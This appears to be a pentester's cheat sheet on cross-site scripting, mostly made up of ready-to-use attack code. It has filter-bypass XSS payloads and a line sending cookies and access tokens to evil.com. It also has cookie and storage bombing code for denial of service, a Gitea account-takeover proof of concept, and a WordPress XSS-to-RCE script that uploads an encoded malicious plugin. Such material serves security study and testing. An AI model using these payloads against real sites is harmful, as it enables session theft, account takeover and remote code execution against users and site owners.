XSS - Cross-site Scripting On this page Definition# Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users.
Basic payloads# < script > alert ()</ script >
< img src = x onerror = alert() >
< svg onload = alert() >
<!-- Run debugger -->
< img src = x onerror = debugger >
<!-- Data exfiltration -->
< script >
document . location = '//evil.com?c=' . concat ( document . cookie );
document . location = '//evil.com?t=' . concat ( localStorage . getItem ( 'access_token' ));
</ script >
Filter/WAF Bypass# < form >< button formaction = "javascript:alert(document.domain)" > CICK ME</ button ></ form >
Basic filter bypass# <!-- Alternate case -->
< sCrIpt > alert ()</ ScRipt >
<!-- No quotes -->
alert(String.fromCharCode(88,83,83))
alert(/XSS/.source)
eval(atob(`YWxlcnQoKQ`))
<!-- No parenthesis -->
alert`1`
<!-- Alternate calls -->
["XSS"].map(alert)
\u0061\u006C\u0065\u0072\u0074("XSS")
alert?.()
Variable self# Call a function using self["<func_name>"]()
:
self[location.hash.substr(1,)]("XSS") <!-- Append #alert to our URL -->
self[Object.keys(self)[5]]("XSS")
> Object.keys(self)
>>> Array(316) [ "close", "stop", "focus", "blur", "open", "alert", "confirm", "prompt", "print", "postMessage", … ]
innerHTML vs innerText# < head >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.6/purify.min.js" ></ script >
</ head >
< body >
< p id = "input" > < img src=x onerror=alert() /> </ p >
< p id = "tmp" ></ p >
< p id = "output" ></ p >
< script >
console . log ( input . innerText ); // <img src=x onerror="alert()" />
console . log ( input . innerHTML ); // <img src=x onerror="alert()" />
let clean = DOMPurify . sanitize ( input . innerHTML );
tmp . innerHTML = clean ; // No XSS
output . innerHTML = tmp . innerText ; // XSS here
</ script >
</ body >
HTML parser fuzzing# < img src = x onerrorFUZZ = "alert()" />
=> FUZZ: 9, 10, 12, 13, 32 (respectively \t, \n, \0xC, \r, space)
HTML parser fuzzing var i = 0 ;
function fuzz () {
console . log ( "Testing " + i + "..." );
document . body . innerHTML = `<img src=x onerror ${ String . fromCharCode ( i ) } ="alert( ${ i } )" />` ;
i += 1 ;
setTimeout ( fuzz , 500 );
}
fuzz ();
Anchors fuzzing# Javascript protocol# FUZZjavascript : alert ()
=> FUZZ : 0x0 to 0x1F ( containing \ t , \ n , \ r and space )
javascriptFUZZ : alert ()
=> FUZZ : 9 , 10 , 13 , 58 ( respectively \ t , \ n , \ r , : )
javaFUZZscript : alert ()
=> FUZZ : 9 , 10 , 13 ( respectively \ t , \ n , \ r )
& # FUZZ ; javascript : alert ()
=> FUZZ : 0x1 to 0x1F ( containing \ t , \ n , \ r and space )
Multiple characters Note that you can use multiple characters:
< a href = "java
script:alert()" > link</ a >
< a href = " javascript:alert()" > link2</ a >
JavaScript Fuzzing script < body >< script >
let valids = [];
for ( let i = 0 ; i <= 0x10FFFF ; i ++ ) {
document . body . innerHTML = `<a href="&# ${ i } ;javascript:void(0)"></a>` ;
let anchor = document . body . firstChild ;
if ( anchor . protocol == "javascript:" )
valids . push ( i );
}
console . log ( valids );
</ script ></ body >
Inspired by the book Javascript for hackers - Gareth Heyes .
URLs# FUZZhttps : //xanhacks.xyz
=> FUZZ : 0x1 to 0x1F ( containing \ t , \ n , \ r and space )
https : /FUZZ/xanhacks.xyz
=> FUZZ : 9 , 10 , 13 , 47 , 92 ( respectively \ t , \ n , \ r , /, \)
/FUZZ/xanhacks.xyz
=> FUZZ : 9 , 10 , 13 ( respectively \ t , \ n , \ r ) - Chrome based
=> FUZZ : Nothing - Firefox
https : //FUZZxanhacks.xyz
=> FUZZ : 9 , 10 , 13 , 47 , 64 , 92 , 173 , 847 , 6155 , 6156 , ... a lot
Note: <a href="https://///////xanhacks.xyz">link</a>
goes to https://xanhacks.xyz
.
URLs Fuzzing script < body >< script >
let valids = [];
for ( let i = 0 ; i <= 0x10FFFF ; i ++ ) {
document . body . innerHTML = `<a href=" ${ String . fromCodePoint ( i ) } https://xanhacks.xyz"></a>` ;
let anchor = document . body . firstChild ;
if ( anchor . hostname == "xanhacks.xyz" )
valids . push ( i );
}
console . log ( valids );
</ script ></ body >
Inspired by the book Javascript for hackers - Gareth Heyes .
Mutation XSS# The following HTML code will be “fixed” by the browser at runtime. Original HTML:
< table >< h1 > hello</ h1 ></ table >
Displayed HTML:
< h1 > hello</ h1 >
< table ></ table >
This behavior of “HTML strings being changed by the browser during rendering” is called mutation. And the XSS achieved by exploiting this behavior is naturally called mutation XSS or mXSS.
DOS# Cookie bombing# Servers often block users that send requests with very large headers (e.g. 8K or 16K bytes).
const value = "a" . repeat ( 4080 );
document . cookie = "" ;
for ( let i = 0 ; i < 100 ; i ++ ) {
let name = "a" + i ;
document . cookie = ` ${ name } = ${ value } ; path=/; domain=.example.com` ;
}
Nginx - large_client_header_buffers Syntax: large_client_header_buffers number size; Default: large_client_header_buffers 4 8k;
large_client_header_buffers : Sets the maximum number and size of buffers used for reading large client request header. By default, the buffer size is equal to 8K bytes .A request header field cannot exceed the size of one buffer as well, or the 400 (Bad Request) error is returned to the client. Apache - LimitRequestFieldSize Syntax: LimitRequestFieldSize bytes Default: LimitRequestFieldSize 8190
NodeJS - http.maxHeaderSize Local/Session Storage bombing# Local/Session storage have a size limit which depends on the web browser.
const value = "a" . repeat ( 4080 );
localStorage . clear ();
sessionStorage . clear ();
for ( let i = 0 ; i < 100 ; i ++ ) {
let name = "a" + i ;
localStorage . setItem ( name , value );
sessionStorage . setItem ( name , value );
}
Limit - Numbers of characters Chrome 6.0.472.36 beta: 2600-2700k Firefox 3.6.8: 5200-5300k Explorer 8: 4900-5000k Opera 10.70 build 9013 popped a dialog, that allowed me to give the script unlimited storage. Self XSS# Trigger self-XSS using CSRF. Force the victim to use the cookie of an infected account. You can also set the cookie’s path to the vulnerable endpoint of the self-XSS to gain unauthorized access to the victim’s account on other paths. Account Takeover# Gitea - Change primary email# Proof of Concept Tested on Gitea Version 1.19.0 (2023-04-25)
Before running the PoC:
After running the PoC:
Proof of Concept code:
const attacker_email = "evil@yopmail.com" ;
// 1) Obtain CSRF token
fetch ( "/user/settings/account" ). then ( res => res . text ()). then ( data => {
let csrfToken = data . match ( /csrfToken: '([a-zA-Z0-9_-]+)',/ ). at ( - 1 );
// 2) Add secondary email address
fetch ( "/user/settings/account/email" , {
method : "POST" ,
headers : {
"Content-Type" : "application/x-www-form-urlencoded"
},
body : `_csrf= ${ csrfToken } &email= ${ attacker_email } `
})
. then ( res => res . text ()). then ( data => {
// 3) Obtain CSRF token & email ID
fetch ( "/user/settings/account" ). then ( res => res . text ()). then ( data => {
let csrfToken = data . match ( /csrfToken: '([a-zA-Z0-9_-]+)',/ ). at ( - 1 );
let email_id = "" ;
const htmlDoc = new DOMParser (). parseFromString ( data , "text/html" );
const emailStrong = htmlDoc . getElementsByClassName ( "ui email list" )[ 0 ]. getElementsByTagName ( "strong" );
for ( let i = 0 ; i < emailStrong . length ; i ++ ) {
if ( emailStrong [ i ]. innerText == attacker_email ) {
email_id = emailStrong [ i ]. parentNode . parentNode . getElementsByClassName ( "button delete-button" )[ 0 ]. getAttribute ( "data-id" );
break ;
}
}
// 4) Set the email to primary address
fetch ( "/user/settings/account/email" , {
method : "POST" ,
headers : {
"Content-Type" : "application/x-www-form-urlencoded"
},
body : `_csrf= ${ csrfToken } &_method=PRIMARY&id= ${ email_id } `
});
});
})
})
XSS to RCE# Proof of Concept Tested on Wordpress Version 6.2 (2023-04-28)Admin privileges are required.
Executing the PoC:
Wordpress plugins list:
The wordpress plugin can be found on Github .
RCE on every page:
Proof of Concept code:
// 1. Obtain CSRF token
fetch ( "/wp-admin/plugin-install.php" )
. then ( resp => resp . text ())
. then ( htmlResponse => {
const htmlDoc = new DOMParser (). parseFromString ( htmlResponse , "text/html" );
const csrfToken = htmlDoc . getElementsByClassName ( "wp-upload-form" )[ 0 ]. getElementsByTagName ( "input" )[ 0 ]. value ;
// 2. Transform plugin (base64) into blob
const b64_plugin_data = "UEsDBBQAAAAIAGdanFYSKsI7lwEAAHMDAAAJABwAaW5kZXgucGhwVVQJAAOSj0tkwY9LZHV4CwABBOkDAAAE6QMAAJ1Sy27bMBA8V1+xEHqwHUt0nSKHNEBfMdwAQeI6j0sRCGuKkYRYJEFSkY2g/16SkmIZyaEwT4udnZnVjs6+ylwGZDQKYATLnzNADQg3TD0XlIFtuv43ifQJMwYAirIIdYSRbkY8jJXJhbIobJDndlb79triXDvWfHEZTePJUdvmT+BfbozUp4RkhcmrVUxFSToBUguVSsW0jpylXFdZwT2dCrlVRZYbmE6mx+O+pcd3xB1p4Su4wpKdNtZvvrU3dre86KYOWvGcaaoKaQrBO53rlUGrjNz72oo9M7WFVwWQ9ryxI98zpXtE9z7Fk3jisO/+zn1o7+AN/L/rO8Yt2xg4F6XdraO8F/BlE2TfuJ9oC/eNna+1res6zngVC5WR9m/QJJNrR43NxvhreXtYoMk7Nlkjzyp7Eb/kvDC/qtVeOIek0sr8UMhp6+SMLUSCANM0QeoSG4S1TB6FMEyFYwibKrFS4fBLEDxW3E/Brj8YwkvwQW+1YeVghZqdfE5SRkXKBh+T5ez33ezm9k9IyzR8GFqJv8E/UEsBAh4DFAAAAAgAZ1qcVhIqwjuXAQAAcwMAAAkAGAAAAAAAAQAAAKSBAAAAAGluZGV4LnBocFVUBQADko9LZHV4CwABBOkDAAAE6QMAAFBLBQYAAAAAAQABAE8AAADaAQAAAAA=" ;
fetch ( "data:application/zip;base64," + b64_plugin_data )
. then ( res => res . blob ())
. then ( pluginBlob => {
const formData = new FormData ();
formData . append ( "_wpnonce" , csrfToken );
formData . append ( "_wp_http_referer" , "/wp-admin/plugin-install.php" );
formData . append ( "pluginzip" , pluginBlob , "plugin.zip" );
formData . append ( "install-plugin-submit" , "Install Now" );
// 3. Upload the malicious plugin
fetch ( "/wp-admin/update.php?action=upload-plugin" , {
"method" : "POST" ,
"body" : formData
})
. then ( resp => resp . text ())
. then ( htmlResponse => {
const htmlDoc2 = new DOMParser (). parseFromString ( htmlResponse , "text/html" );
const link = htmlDoc2 . getElementsByClassName ( "button button-primary" )[ 0 ]. getAttribute ( "href" );
// 4. Activate the plugin
fetch ( "/wp-admin/" + link );
});
});
});
Todo: